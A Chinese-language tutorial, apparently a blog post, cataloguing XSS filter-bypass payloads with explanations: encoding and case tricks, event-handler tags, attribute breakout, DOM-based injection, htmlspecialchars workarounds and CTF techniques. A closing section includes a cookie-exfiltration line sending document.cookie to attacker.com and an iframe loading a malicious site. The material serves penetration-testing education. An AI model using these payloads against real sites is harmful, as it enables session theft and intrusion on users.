xss防护绕过方法

一、XSS 防护原理(了解敌人)

现代网站会做很多 XSS 防护,包括:

防护手段描述
输入过滤例如禁止 <script><img>onerror 等关键词
编码输出使用 htmlspecialchars() 等方式将 < 编码为 &lt;
CSP 安全策略限制页面中脚本来源
WAF(Web防火墙)拦截常见攻击 payload
DOM 安全编码使用 DOM API 动态插入数据而非 innerHTML

攻击者的目标:就是绕过这些防护手段,实现代码执行!

二、XSS 绕过方式分类

熟记一句话:只要网站有漏洞,你总能找到“表达恶意代码”的方式!

1. 基本 payload 示例

<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<svg/onload=alert(1)>

三、常见绕过方式全汇总

1. 大小写绕过(Case Bypass)

防护只过滤了 <SCRIPT>,没过滤 <ScRiPt>

<ScRiPt>alert(1)</ScRiPt>

1. <script>alert(1)</script>

含义:

这是最基本的 XSS 脚本注入方式,直接在 HTML 页面中插入 JavaScript 代码。

作用:

浏览器在解析到 <script> 标签时会执行其中的内容,这里就是执行 alert(1) —— 弹出一个小窗口,显示数字 1。

使用条件:
  • 目标网站未对 <script> 标签做过滤或编码。

  • 插入点允许插入完整 HTML(非属性、非注释等位置)。

常见防护:
  • 使用 htmlspecialchars()htmlentities() 编码输出。

  • WAF 拦截 <script> 关键字。

2. <img src=1 onerror=alert(1)>

含义:

创建一个图片元素 <img>,但图片路径 src=1 是一个无效地址,所以会加载失败。

作用:

当图片加载失败时,浏览器会触发 onerror 事件。这里 onerror=alert(1) 就是在报错时执行弹窗。

绕过点:
  • 没有使用 <script> 标签,适用于只允许插入 HTML 标签但不允许 JS 的场景。

  • onerror 是一个 HTML 事件属性,很多标签都支持,比如 <img>, <iframe>, <body>

常见防护:
  • 禁止 onerror 出现(关键词过滤)。

  • 正则黑名单不够完善时容易被绕过。


3. <svg/onload=alert(1)>

含义:

这是一个 SVG 图形标签 <svg>,它的 onload 事件在标签加载时触发。

作用:

虽然看起来像一个普通图形标签,但浏览器在解析 SVG 时,会尝试执行其 onload 内容,从而弹出 alert(1)

绕过点:
  • SVG 是合法标签,不容易被黑名单过滤规则识别。

  • 使用 / 而非空格连接属性(<svg/onload=...>),是为了绕过对空格的过滤

  • 甚至 <svg onload=alert(1)> 也能成功执行。

常见防护:
  • 禁止标签内绑定事件(如 onload)。

  • 对 SVG 标签整体过滤。

总结对比表

Payload技术类型优势常见用途绕过能力
<script>alert(1)</script>最基础脚本注入简单、直观用于初步测试 XSS 是否存在易被过滤
<img src=1 onerror=alert(1)>利用事件触发兼容性强输入框、HTML属性中注入绕过 <script> 过滤
<svg/onload=alert(1)>非主流标签 + 属性HTML5 支持好可混淆绕过高级防护绕过技巧

2. 空格与分隔符绕过

空格替换为其他分隔符,如:\t(tab)、\n(换行)、\x0b(垂直制表)、\xod(回车符)

<img\x0bonerror\x0d=alert(1)>
  • \x0b → 被浏览器解析为空白(绕过过滤)

  • \x0d → 被浏览器自动忽略或作为属性解析的一部分

等价于

<img onerror=alert(1)>

也可以使用%0d(回车符)   %0a(换行符)因为html标签换行也能解析

3. 编码绕过(URL编码、Unicode)

  • %3Cscript%3Ealert(1)%3C/script%3E → 浏览器解码成 <script>alert(1)</script>

  • Unicode 编码:\u003Cscript\u003Ealert(1)\u003C/script\u003E

编码绕过的本质:绕过防护系统对敏感字符(如 < > " ' / =)的过滤或检测,让浏览器在最后一步将它们解码执行。

攻击者不直接写 <script>, 而是先“加密”成安全的样子,通过服务器的过滤,再在浏览器端自动“还原”,实现 XSS。

什么是 URL 编码?

URL 中不能直接包含某些字符(如空格、中文、<>),所以它们会被转义成:

原字符URL 编码示例
<%3C<script>%3Cscript%3E
>%3E
/%2F/script%2Fscript
%3Cscript%3Ealert(1)%3C/script%3E

浏览器解码后变成:

<script>alert(1)</script>

如果服务器未对 URL 编码内容进行检测,就会被绕过!

Unicode 编码绕过

在 JavaScript 字符串中,可以用 Unicode 形式表示字符:

字符Unicode编码用法
<\u003C"<script>" 可写作 "\u003Cscript\u003E"
>\u003E同理
<script>
  eval("\u0061\u006c\u0065\u0072\u0074(1)")  // alert(1)
</script>

或直接构造标签:

document.write("\u003Cscript\u003Ealert(1)\u003C/script\u003E");

适用于防护系统解码顺序错误时。

[1] 用户输入 -> [2] 服务器过滤检测 -> [3] 输出到页面 -> [4] 浏览器解析执行

但如果过滤检测发生在未解码前(即检测的是 %3Cscript%3E),而不是 <script>,就会被绕过!

错误流程正确流程
检查 %3Cscript%3E 是否危险 ❌先 decode 再检查 <script>

4. HTML 属性事件绕过(onXXX)

如果 <script> 被过滤,可以用带事件的 HTML 标签:

<svg onload=alert(1)>
<body onpageshow=alert(1)>
<input onfocus=alert(1) autofocus>
<a href=javascript:alert(1)>点我</a>

<body onpageshow=alert(1)>

原理:

  • <body> 标签表示网页主体。

  • onpageshow 是一个事件,当页面首次显示或从缓存返回时触发。

  • 所以只要页面加载成功,就会弹窗。

示例效果:

你插入:

body onpageshow=alert(1)> 

页面一加载,立即执行 alert(1)

绕过意义:

  • 很少有过滤器专门处理 onpageshow,比 onload 冷门,更容易绕过。

  • 适用于页面模板注入点(如整页注入)

<input onfocus=alert(1) autofocus>

原理:

  • <input> 是表单输入框。

  • onfocus:当元素被选中时触发。

  • autofocus:自动选中该输入框(页面加载时就触发 focus)

效果:

浏览器加载页面时,input 自动获得焦点,就会触发 onfocus=alert(1)

<input onfocus=alert(1) autofocus> 

适用于插入点在 HTML 元素属性中的位置,比如表单生成的地方。

 绕过意义:

  • 无需用户点击即可执行,属于“半自动 XSS”。

  • 实战中常用于社交平台、自定义表单等输入场景。

<a href=javascript:alert(1)>点我</a>

原理:

  • <a> 是超链接标签。

  • href 属性中写的是 URL 地址,如果写成 javascript:,那点击时会执行 JS 代码。

  • 类似于:

<a href="javascript:alert(1)">点我</a> 

点击这个链接会弹窗。

 绕过意义:

  • 不用事件属性,绕过对 onerror 等关键词的拦截。

  • 可以伪装成正常链接,诱导用户点击。

注意:

现代浏览器对 javascript: 的链接有一定限制,比如:

  • 不允许跨域弹窗

  • 某些 CSP 配置下会被禁止

5. 非 script 标签绕过(No-script Bypass)

  • 利用图片加载失败执行 onerror:

<img src=x onerror=alert(1)>

<svg>, <math>, <iframe>, <details> 都支持事件

<svg/onload=alert(1)>
<details open ontoggle=alert(1)>

6. 双写绕过(Double Encoding)

将关键字字符重复编码,比如:

  • %25% 的 URL 编码,%253C 实际等于 <

%253Cscript%253Ealert(1)%253C/script%253E

如果防护只解一次码,会误以为安全。

7. 特殊字符插入(引号/斜杠/HTML实体)

"><script>alert(1)</script>
"><img src=1 onerror=alert(1)>

用于插入到 HTML 属性中,触发语法错误后执行 XSS。

第一句:"><script>alert(1)</script>

注入位置:

假设有如下代码片段用于渲染某个用户输入的值:

<input type="text" value="用户输入"> 
攻击者输入:
"><script>alert(1)</script> 
渲染后的结果:
<input type="text" value=""><script>alert(1)</script> 
 发生了什么?
  • 攻击者插入了一个 双引号 "结束了原有的 value="..." 属性

  • 然后加入了自己的 <script>alert(1)</script>

  • 浏览器会直接执行 <script> 标签,从而弹出 alert 框。


🔹 第二句:"><img src=1 onerror=alert(1)>

这是 <script> 标签的替代方式,用更隐蔽的方式执行 JS。

攻击者输入:
"><img src=1 onerror=alert(1)> 
 渲染后效果:
<input type="text" value=""><img src=1 onerror=alert(1)> 
发生了什么?
  • <img src=1> 是一个无效图片链接,加载会失败;

  • onerror=alert(1)图片加载失败时触发的事件处理函数

  • 所以,浏览器会自动执行 alert(1)

8. DOM-Based XSS 绕过

如果页面存在 JavaScript 代码将 URL 片段插入页面中:

document.write(location.hash);

你访问这个地址:

http://site.com/page#<img src=x onerror=alert(1)>

就能执行 XSS。绕过方式也包括编码、混淆等。

DOM-Based XSS 是指:XSS 触发点完全发生在浏览器端的 JavaScript 中,而不是后端返回的 HTML 页面中。

简而言之:

  • 普通 XSS: 你输入 <script>,服务器响应里包含了这个 <script>

  • DOM XSS: 页面加载后,JS 代码把 URL 参数拼进页面,再被浏览器执行。

假设网页中有如下 JavaScript 代码:

document.write(location.hash);

这段代码的意思是:

把当前 URL 中的 # 后面的内容,原样写入 HTML 页面。


你访问这个地址:

http://site.com/page#<img src=x onerror=alert(1)> 

此时:

  • location.hash 的值是:#<img src=x onerror=alert(1)>

  • document.write(location.hash) 会写入:

  • 浏览器解析后,这张图片加载失败,触发 onerror,执行 JavaScript:

  • 服务器根本没参与,检测不到;

  • 一般只在浏览器端 JS 中才能发现;

  • 安全人员审查代码时容易忽略这类危险写法,如 innerHTML, document.write, eval, setTimeout(..., 0) 等。

  • 永远不要使用 innerHTML / document.write() 插入用户输入

  • 使用安全 API,如 textContent, createTextNode, setAttribute

  • 使用前端安全库如 DOMPurify 过滤;

  • 对 URL 参数等内容做转义处理;

  • 配置严格的 CSP(内容安全策略)

  • 在渗透测试中手动检测所有 JS 数据流(input → sink)。

9. htmlspecialchar()绕过

网站使用了 htmlspecialchars() 函数,这会将以下字符转义成实体:

字符被转义为
<&lt;
>&gt;
"&quot;
'&#039;&#x27;
&&amp;

这意味着基本的 HTML 标签注入(如 <script>)会直接失效。但你仍有一些 进阶绕过方式 可以尝试:

一、确认 XSS 类型

你要确认 XSS 类型 是:

  1. 反射型(URL 参数/搜索框)

  2. 存储型(评论等存储后再展示)

  3. DOM 型(JS 前端拼接 DOM)

  4. 富文本型(如使用 innerHTML 且对输入处理不严)

如果是直接用 htmlspecialchars() 输出到纯文本(<div><?= htmlspecialchars($_GET['q']); ?></div>),那么页面就只是“显示”而不是“执行”内容,常规 XSS 是失效的。但只要有一点点 DOM 拼接或 JS 处理,还有机会。


二、判断是否可以写入 JS 环境

例如页面中有:

<script> var keyword = "<?= htmlspecialchars($_GET['q']); ?>"; </script> 

你输入:

";alert(1);// → 成为 var keyword = "";alert(1);//"; 

✔️ 如果是这种拼接到 JS 变量中,那么你还可以 JS 注入绕过 htmlspecialchars


三、尝试 DOM 型或属性注入绕过(htmlspecialchars不影响)

 1. 标签属性注入:

如果拼接在 HTML 属性中:

<input value="<?= htmlspecialchars($_GET['name']); ?>"> 

你输入:

" onfocus=alert(1) autofocus x=" 

浏览器会解析为:

<input value="" onfocus=alert(1) autofocus x=""> 

触发 onfocus


2. innerHTML 拼接漏洞(htmlspecialchars无效)

即使后台用了 htmlspecialchars(),但如果前端 JS 有:

document.getElementById("result").innerHTML = location.hash; 

你访问:

http://example.com/#<img src=x onerror=alert(1)> 

由于这是前端拼接 HTML,不走 PHP,所以 htmlspecialchars() 拦不住你。


四、尝试双重编码绕过 htmlspecialchars

例如如果服务端做了:

echo htmlspecialchars(urldecode($_GET['q'])); 

你就可以输入:

%26lt%3Bscript%26gt%3Balert(1)%26lt%3B/script%26gt%3B 

→ 解码后是:&lt;script&gt;alert(1)&lt;/script&gt;

htmlspecialchars 不会再转义 &lt;(它只转 <),于是页面直接输出 &lt;script&gt;alert(1)&lt;/script&gt;

如果前端 innerHTML 拼接,这种可能会被浏览器还原并执行。

五、用onmouseover绕过(<>被过滤情况下,也可以用onfocus)

你必须先明确:注入点是在属性值里?标签之间?还是 JavaScript 中?以下是常见的几种情况:

情况 A:注入在属性值中,例如:

<input value="<?= htmlspecialchars($_GET['q']) ?>">

你输入:

" onmouseover=alert(1) x=" 

最终 HTML 会变成:

<input value="&quot; onmouseover=alert(1) x=&quot;"> 

你会发现:

  • 你注入的 <" 都被转义了

  • 浏览器不会解析其中的 onmouseover,所以不会触发

👉 解法思路:绕过 " 限制,尝试打断属性

如果应用允许不完整转义(有时只转义了 < >),可以尝试闭合属性或注入额外标签:

" onmouseover=alert(1) // 

" autofocus onfocus=alert(1) x=" 

2. 尝试注入 HTML 标签本身:**

如果 htmlspecialchars() 是对部分输入做的过滤,但你注入点本身不在属性中而是在标签之间(例如评论区),你可能能注入完整标签:

Hello <img src=x onmouseover=alert(1)> 

鼠标移上去就触发了。

3. 利用事件属性绕过(鼠标触发)
常见的鼠标事件属性:
事件属性触发方式
onmouseover鼠标移入
onmouseenter鼠标移入(不冒泡)
onmousemove鼠标移动
onclick鼠标点击
onmousedown鼠标按下
onmouseup

鼠标抬起

四、真实场景下的 XSS 绕过技巧

场景1:防火墙只过滤 <script>,绕过方式:

<iframe src="javascript:alert(1)">

场景2:过滤了 onerror,但没过滤 onload

<svg onload=alert(1)>

场景3:只输出值,没有做输出编码

<input value="正常值"> → value 被你控制

payload: " onfocus=alert(1) autofocus="

五、实战建议

步骤内容
1判断是反射型 / 存储型 / DOM型
2尝试基本 payload
3分析过滤机制(比如源码是否用了 htmlspecialchars()
4针对过滤逻辑进行逐一绕过测试
5用 BurpSuite 自动/手动测试各种变体
6在 CSP 存在时研究绕过方式,如 JSONP 或漏洞域

六、工具推荐

  • XSStrike:XSS payload 自动化测试工具

  • XSS Hunter:用于捕捉盲 XSS(Blind XS

### 常见的CTF XSS绕过技术 #### 绕过HTML实体编码 当服务器端对特殊字符进行了HTML实体编码处理,可以尝试使用不同的编码方式来绕过这种防护机制。例如,对于`<`和`>`符号被转义的情况,可以通过Unicode编码的方式重新构造Payload[^1]。 ```html <script>alert('XSS');</script> ``` #### 利用事件处理器属性执行JavaScript代码 如果输入点位于标签内部而非直接作为文本节点,则可考虑通过设置诸如`onmouseover`, `onclick`等事件处理器的方式来触发JS代码执行[^2]。 ```html <img src="nonexistent.jpg" onerror="javascript:alert('XSS');"> ``` #### 使用Base64编码载荷 某些情况下,过滤器可能会阻止显式的<script>标记或特定的关键字。此时可以采用base64编码后的数据URI方案加载外部资源文件[^3]。 ```html <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+" target="_blank">Click me</a> ``` #### 结合DOM特性实现无Script Tag攻击 针对不允许出现任何形式的<script>标签的情形下,还可以借助于DOM对象自身的特性和方法间接达到目的。比如修改location.href跳转至带有恶意参数的目标站点;或是利用iframe嵌入其他含有恶意脚本的内容页等等[^4]。 ```javascript window.location='http://attacker.com/?'+document.cookie; var f=document.createElement('iframe'); f.src='http://malicious-site.com'; document.body.appendChild(f); ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值